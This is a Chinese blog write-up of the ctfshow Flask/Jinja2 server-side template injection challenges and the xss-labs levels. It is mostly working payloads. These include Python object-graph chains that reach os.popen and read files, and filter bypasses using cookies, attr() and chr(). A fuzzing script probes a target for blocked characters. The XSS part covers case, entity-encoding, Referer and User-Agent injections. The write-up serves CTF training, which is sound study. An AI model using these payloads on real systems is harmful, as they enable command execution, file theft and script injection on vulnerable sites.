xss靶场和ctfshow ssti的前八题

ctfshow ssti

__class__            类的一个内置属性,表示实例对象的类。
 
__base__             类型对象的直接基类
 
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
 
__mro__              method resolution order,即解析方法调用的顺序;此属性是由类组成的元            组,在方法解析期间会基于它来查找基类。
 
__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
 
__init__             初始化类,返回的类型是function
 
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
 
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
 
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
 
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
 
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
 
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
 
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
 
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
 
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
 
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
 
current_app          应用上下文,一个全局变量。
 
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
 
request.args.x1        get传参
 
request.values.x1      所有参数
 
request.cookies      cookies参数
 
request.headers      请求头参数
 
request.form.x1        post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
 
request.data           post传参    (Content-Type:a/b)
 
request.json         post传json  (Content-Type: application/json)
 
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
 
g                    {{g}}得到<flask.g of 'flask_ssti'>

常用过滤

int():将值转换为int类型;
 
float():将值转换为float类型;
 
lower():将字符串转换为小写;
 
upper():将字符串转换为大写;
 
title():把值中的每个单词的首字母都转成大写;
 
capitalize():把变量值的首字母转成大写,其余字母转小写;
 
trim():截取字符串前面和后面的空白字符;
 
wordcount():计算一个长字符串中单词的个数;
 
reverse():字符串反转;
 
replace(value,old,new): 替换将old替换为new的字符串;
 
truncate(value,length=255,killwords=False):截取length长度的字符串;
 
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
 
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
 
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
 
list():将变量列成列表;
 
string():将变量转换成字符串;
 
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
 
abs():返回一个数值的绝对值;
 
first():返回一个序列的第一个元素;
 
last():返回一个序列的最后一个元素;
 
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
 
length():返回一个序列或者字典的长度;
 
sum():返回列表内数值的和;
 
sort():返回排序后的列表;
 
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
 
length()返回字符串的长度,别名是count

如何得到payload?

1、先找基类object,用空字符串""来找

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

使用?name={{"".__class__}},得到空字符串的类<class 'str'>

点号. :python中用来访问变量的属性

__class__:类的一个内置属性,表示实例对象空字符串""的类。

然后使用?name={{"".__class__.__mro__}},得到(<class 'tuple'>, <class 'object'>)

__mro__              method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>

或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类<class 'object'>

__base__             类型对象的直接基类
__bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

2、得到基类之后,找到这个基类的子类集合

使用?name={{().__class__.__mro__[1].__subclasses__()}}

__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag

这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>

使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到<class 'os._wrap_close'>

<class 'os._wrap_close'>        这个类有个popen方法可以执行系统命令

4、实例化我们找到的类对象

使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类

__init__             初始化类,返回的类型是function

5、找到这个实例化对象的所有方法

使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

__globals__          使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。

6、根据方法寻找flag

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

popen()一个方法,用于执行命令

read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
原文:https://blog.csdn.net/qq_46918279/article/details/121270806

1.

猜测是hello, user_name

尝试heckbar传入?name={{7*7}}

不允许使用post形式,尝试get传入,得到

由此可知注入点位于name

构建payload

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

2.

测试?name={{7*7}}

注入点为name,但过滤了几个数字,2是其中一个

重新构建payload

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

3.

尝试之前的payload,但都不行,过滤掉了单双引号

使用request.args.x1传递GET参数x1,从而避免单双引号的使用

?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read() 

或者使用open函数

?name={{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

这里有大佬的脚本可以看过滤掉了哪些内容,修改url

import requests
from tqdm import tqdm

url = 'http://889a9ec1-3a91-4e11-925e-3bde2e60fb4a.challenge.ctf.show:8080/?name='

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
fuzzList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','\\','\'','\"','.','+','{','{{','%','#','if','for','class','(',')','[',']','base','bases','mro','_','__','init','globals','subclasses','popen','import','os','dir','builtins','config','get_flashed_messages','current_app','attr','getattr','request','chr','join','|','replace','decode','enter','exit','pop','getitem','args','url_for','range','session','dict','self','reload','count','length','print','curl']
blackList = []
for fuzz in tqdm(fuzzList):
    res = requests.get(url=(url+fuzz), headers=headers)
    if ':(' in res.text:
        blackList.append(fuzz)
print("blackList is ", end="")
print(blackList)

4.

尝试之前的payload,但是都出错了,过滤了单双引号、args

request.cookies.x1代替request.args.x1或者用char

cookie需要bp抓包进行书写

?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x2=__import__('os').popen('cat /f*').read();x1=__builtins__

?name={%set chr=x.__init__.__globals__.__builtins__.chr%}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

5.

还是进行测试发现过滤了引号,还有中括号,但request.cookies仍然可以用,或者使用__str__[数字]进行字符串拼接

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

6.

测试之前payload结果都不行,发现可能是过滤掉了下划线,也可以试试363的脚本看看过滤掉了哪些,发现是' 、" 、[ 、_ 和 args,尝试构建payload

可以用attr()+requests.args.x构造

?name={{(x|attr(request.cookies.x3)|attr(request.cookies.x4)|attr(request.cookies.x5))(request.cookies.x1).eval(request.cookies.x2)}}
cookie:x3=__init__;x4=__globals__;x5=__getitem__;x1=__builtins__;x2=__import__('os').popen('cat /f*').read()
 

7.

用脚本跑一下,过滤了 ' 、" 、[ 、__ 、osget_flashed_messagescurrent_appurl_for 和 args,将 os 放进 request 即可

8.运行脚本

构建payload

{% print((lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()) %}&globals=__globals__&a=os&flag=cat%20/flag
 

xss

5.

发现这两个被屏蔽了,试试<a>标签,在href里面用伪协议试试

<a href="https://bilibili.com">网址直接跳转</a> 
<a href="images/1.webp">相对路径跳转</a>
<a href="hello.exe">如果是打不开的文件,则下载之</a>
<a href="">空链接是刷新</a>
<a href="#">#是回到顶部</a>
<a href="javascript:;">禁止链接跳转</a>

 <a> 标签定义超链接,用于从一个页面链接到另一个页面。

成功

6.

照例测试

全部屏蔽,在html里面是不区分大小写的,试试把属性换成大写

"><a HREF="javascript:alert()">ss

7.

测试看看

丢了script和on,试试重复书写

"><sscriptcript>alert()</sscriptcript>

8.测试

input中的符号,全部被屏蔽,试试a标签,a标签情况还好

将javascript实体化编码,查询到r的实体化编码&#114; 替换一下

javasc&#114;ipt:alert()

9.

,尝试之前的操作,都不行,尝试输入网址,但无法实现

然后尝试带有http的网址,成功回显

 试了几次发现只要输入的里面有http://就可以成功显示,尝试把http://注释掉

javascript:alert()>//http://www.baidu.com

还是把JavaScript的r给实体化

javasc$#114;ipt:alert()//http://www.baidu.com

10.

进行测试

发现有三个隐藏的input,尝试赋值

?t_link=3&t_history=3&t_sort=3

t_sort被成功赋值了,可以利用这个点注入

t_sort=3" οnclick=alert() 

将hiden改为button

11.

还是和以前一样进行测试

和之前一样进行传值

没有回显

发现被过滤掉了

这里有一个refer,尝试进行传参

hackbar传参

构建payload在refer里传参

12.

发现里面有个ua函数

**UA是什么?UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面

利用hacbar里的ua进行传参

构建payload

t_ua=" οnclick=alert() type="botton""

13.

发现是cookie传参,和上面操作一样

但发现似乎并没有传参成功,接着尝试一下hacbar的传参

发现只是将user隐藏了

15.

这儿有个ng-include,比较陌生

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

?src='/level1.php'

用这个函数可以包涵之前的一关并对其传参,先测试一下过滤了啥,尝试构建payload

随便写一些,在加上Javascript的

实体化

eg:?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

除了有实体化函数就没别的了

可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要手动点击弹窗的)

这里使用img标签,可参考XSS常见的触发标签,构造payload

?src='/level1.php?name=<img src=1 οnmοuseοver=alert()>'

16.

这里可以看到test插入到了center中,先测试一波关键字

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,但是题目将/给替换成了空格

查看后端源码发现空格可以用回车来替代,回车的url编码是%0a,使用不用/的<img>,构造payload

?keyword=<svg%0Aοnlοad=alert(1)>

17.

先进行测试

传入的参数都出现在了embed,打开后缀名为swf的文件

swf   FLASH插件的文件

简单了解一下embed标签, embed标签可以加入事件,可以在arg01,或者arg02中加入事件去触发

去后端改一下,将后端第十七关的代码(level17.php)指向的swf文件改为index.png

 构造payload

?arg02= οnclick=alert()

18.

缺少flash插件,所以说一下思路,测试过滤

?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

和上一关差不多,构建payload

?arg02= οnmοusedοwn=alert()

19.20都需要flash插件

说一下思路

19.

只有swf文件不同,往Flash里面插入一段js代码,然后手动执行,构造payload 

?arg01=version&arg02=<a href="javascript:alert()">here</a>

需要用到swf反编译

20.

直接构建payload

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

  • 20
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值